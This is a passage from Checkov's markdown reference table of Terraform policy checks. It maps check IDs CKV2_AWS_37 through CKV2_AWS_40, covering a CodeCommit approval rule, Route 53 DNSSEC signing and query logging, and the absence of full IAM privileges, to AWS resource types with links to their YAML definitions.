[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2335 | CKV2_AWS_37              | resource                         | aws_vpc_endpoint_route_table_association                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2336 | CKV2_AWS_37              | resource                         | aws_vpc_endpoint_security_group_association                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2337 | CKV2_AWS_37              | resource                         | aws_vpc_endpoint_service                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2338 | CKV2_AWS_37              | resource                         | aws_vpc_endpoint_service_allowed_principal                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2339 | CKV2_AWS_37              | resource                         | aws_vpc_endpoint_service_private_dns_verification                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2340 | CKV2_AWS_37              | resource                         | aws_vpc_endpoint_subnet_association                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2341 | CKV2_AWS_37              | resource                         | aws_vpc_ipam                                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2342 | CKV2_AWS_37              | resource                         | aws_vpc_ipam_organization_admin_account                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2343 | CKV2_AWS_37              | resource                         | aws_vpc_ipam_pool                                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2344 | CKV2_AWS_37              | resource                         | aws_vpc_ipam_pool_cidr                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2345 | CKV2_AWS_37              | resource                         | aws_vpc_ipam_pool_cidr_allocation                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2346 | CKV2_AWS_37              | resource                         | aws_vpc_ipam_preview_next_cidr                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2347 | CKV2_AWS_37              | resource                         | aws_vpc_ipam_resource_discovery                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2348 | CKV2_AWS_37              | resource                         | aws_vpc_ipam_resource_discovery_association                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2349 | CKV2_AWS_37              | resource                         | aws_vpc_ipam_scope                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2350 | CKV2_AWS_37              | resource                         | aws_vpc_ipv4_cidr_block_association                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2351 | CKV2_AWS_37              | resource                         | aws_vpc_ipv6_cidr_block_association                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2352 | CKV2_AWS_37              | resource                         | aws_vpc_network_performance_metric_subscription                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2353 | CKV2_AWS_37              | resource                         | aws_vpc_peering_connection                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2354 | CKV2_AWS_37              | resource                         | aws_vpc_peering_connection_accepter                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2355 | CKV2_AWS_37              | resource                         | aws_vpc_peering_connection_options                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2356 | CKV2_AWS_37              | resource                         | aws_vpc_security_group_egress_rule                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2357 | CKV2_AWS_37              | resource                         | aws_vpc_security_group_ingress_rule                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2358 | CKV2_AWS_37              | resource                         | aws_vpc_security_group_vpc_association                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2359 | CKV2_AWS_37              | resource                         | aws_vpclattice_access_log_subscription                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2360 | CKV2_AWS_37              | resource                         | aws_vpclattice_auth_policy                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2361 | CKV2_AWS_37              | resource                         | aws_vpclattice_listener                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2362 | CKV2_AWS_37              | resource                         | aws_vpclattice_listener_rule                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2363 | CKV2_AWS_37              | resource                         | aws_vpclattice_resource_configuration                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2364 | CKV2_AWS_37              | resource                         | aws_vpclattice_resource_gateway                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2365 | CKV2_AWS_37              | resource                         | aws_vpclattice_resource_policy                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2366 | CKV2_AWS_37              | resource                         | aws_vpclattice_service                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2367 | CKV2_AWS_37              | resource                         | aws_vpclattice_service_network                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2368 | CKV2_AWS_37              | resource                         | aws_vpclattice_service_network_resource_association                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2369 | CKV2_AWS_37              | resource                         | aws_vpclattice_service_network_service_association                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2370 | CKV2_AWS_37              | resource                         | aws_vpclattice_service_network_vpc_association                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2371 | CKV2_AWS_37              | resource                         | aws_vpclattice_target_group                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2372 | CKV2_AWS_37              | resource                         | aws_vpclattice_target_group_attachment                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2373 | CKV2_AWS_37              | resource                         | aws_vpn_connection                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2374 | CKV2_AWS_37              | resource                         | aws_vpn_connection_route                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2375 | CKV2_AWS_37              | resource                         | aws_vpn_gateway                                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2376 | CKV2_AWS_37              | resource                         | aws_vpn_gateway_attachment                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2377 | CKV2_AWS_37              | resource                         | aws_vpn_gateway_route_propagation                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2378 | CKV2_AWS_37              | resource                         | aws_waf_byte_match_set                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2379 | CKV2_AWS_37              | resource                         | aws_waf_geo_match_set                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2380 | CKV2_AWS_37              | resource                         | aws_waf_ipset                                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2381 | CKV2_AWS_37              | resource                         | aws_waf_rate_based_rule                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2382 | CKV2_AWS_37              | resource                         | aws_waf_regex_match_set                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2383 | CKV2_AWS_37              | resource                         | aws_waf_regex_pattern_set                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2384 | CKV2_AWS_37              | resource                         | aws_waf_rule                                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2385 | CKV2_AWS_37              | resource                         | aws_waf_rule_group                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2386 | CKV2_AWS_37              | resource                         | aws_waf_size_constraint_set                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2387 | CKV2_AWS_37              | resource                         | aws_waf_sql_injection_match_set                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2388 | CKV2_AWS_37              | resource                         | aws_waf_web_acl                                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2389 | CKV2_AWS_37              | resource                         | aws_waf_xss_match_set                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2390 | CKV2_AWS_37              | resource                         | aws_wafregional_byte_match_set                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2391 | CKV2_AWS_37              | resource                         | aws_wafregional_geo_match_set                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2392 | CKV2_AWS_37              | resource                         | aws_wafregional_ipset                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2393 | CKV2_AWS_37              | resource                         | aws_wafregional_rate_based_rule                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2394 | CKV2_AWS_37              | resource                         | aws_wafregional_regex_match_set                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2395 | CKV2_AWS_37              | resource                         | aws_wafregional_regex_pattern_set                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2396 | CKV2_AWS_37              | resource                         | aws_wafregional_rule                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2397 | CKV2_AWS_37              | resource                         | aws_wafregional_rule_group                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2398 | CKV2_AWS_37              | resource                         | aws_wafregional_size_constraint_set                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2399 | CKV2_AWS_37              | resource                         | aws_wafregional_sql_injection_match_set                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2400 | CKV2_AWS_37              | resource                         | aws_wafregional_web_acl                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2401 | CKV2_AWS_37              | resource                         | aws_wafregional_web_acl_association                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2402 | CKV2_AWS_37              | resource                         | aws_wafregional_xss_match_set                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2403 | CKV2_AWS_37              | resource                         | aws_wafv2_ip_set                                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2404 | CKV2_AWS_37              | resource                         | aws_wafv2_regex_pattern_set                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2405 | CKV2_AWS_37              | resource                         | aws_wafv2_rule_group                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2406 | CKV2_AWS_37              | resource                         | aws_wafv2_web_acl                                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2407 | CKV2_AWS_37              | resource                         | aws_wafv2_web_acl_association                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2408 | CKV2_AWS_37              | resource                         | aws_wafv2_web_acl_logging_configuration                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2409 | CKV2_AWS_37              | resource                         | aws_worklink_fleet                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2410 | CKV2_AWS_37              | resource                         | aws_worklink_website_certificate_authority_association                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2411 | CKV2_AWS_37              | resource                         | aws_workspaces_connection_alias                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2412 | CKV2_AWS_37              | resource                         | aws_workspaces_directory                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2413 | CKV2_AWS_37              | resource                         | aws_workspaces_ip_group                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2414 | CKV2_AWS_37              | resource                         | aws_workspaces_workspace                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2415 | CKV2_AWS_37              | resource                         | aws_xray_encryption_config                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2416 | CKV2_AWS_37              | resource                         | aws_xray_group                                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2417 | CKV2_AWS_37              | resource                         | aws_xray_sampling_rule                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2418 | CKV2_AWS_38              | resource                         | aws_route53_zone                                                                                 | Ensure Domain Name System Security Extensions (DNSSEC) signing is enabled for Amazon Route 53 public hosted zones                                                                                        | Terraform               | [Route53ZoneEnableDNSSECSigning.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/Route53ZoneEnableDNSSECSigning.yaml)                                                           |\n| 2419 | CKV2_AWS_39              | resource                         | aws_route53_zone                                                                                 | Ensure Domain Name System (DNS) query logging is enabled for Amazon Route 53 hosted zones                                                                                                                | Terraform               | [Route53ZoneHasMatchingQueryLog.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/Route53ZoneHasMatchingQueryLog.yaml)                                                           |\n| 2420 | CKV2_AWS_40              | resource                         | aws_iam_group_policy                                                                             | Ensure AWS IAM policy does not allow full IAM privileges                                                                                                                                                 | Terraform               | [IAMPolicyNotAllowFullIAMAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMPolicyNotAllowFullIAMAccess.yaml)                                                           |\n| 2421 | CKV2_AWS_40              | resource                         | aws_iam_policy                                                                                   | Ensure AWS IAM policy does not allow full IAM privileges                                                                                                                                                 | Terraform               | [IAMPolicyNotAllowFullIAMAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMPolicyNotAllowFullIAMAccess.yaml)                                                           |\n| 2422 | CKV2_AWS_40              | resource                         | aws_iam_role_policy                                                                              | Ensure AWS IAM policy does not allow full IAM privileges                                                                                                                                                 | Terraform               | [IAMPolicyNotAllowFullIAMAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMPolicyNotAllowFullIAMAccess.yaml)                                                           |\n| 2423 | CKV2_AWS_40              | resource                         | aws_iam_user_policy                                                                              | Ensure AWS IAM policy does not allow full IAM privileges                                                                                                       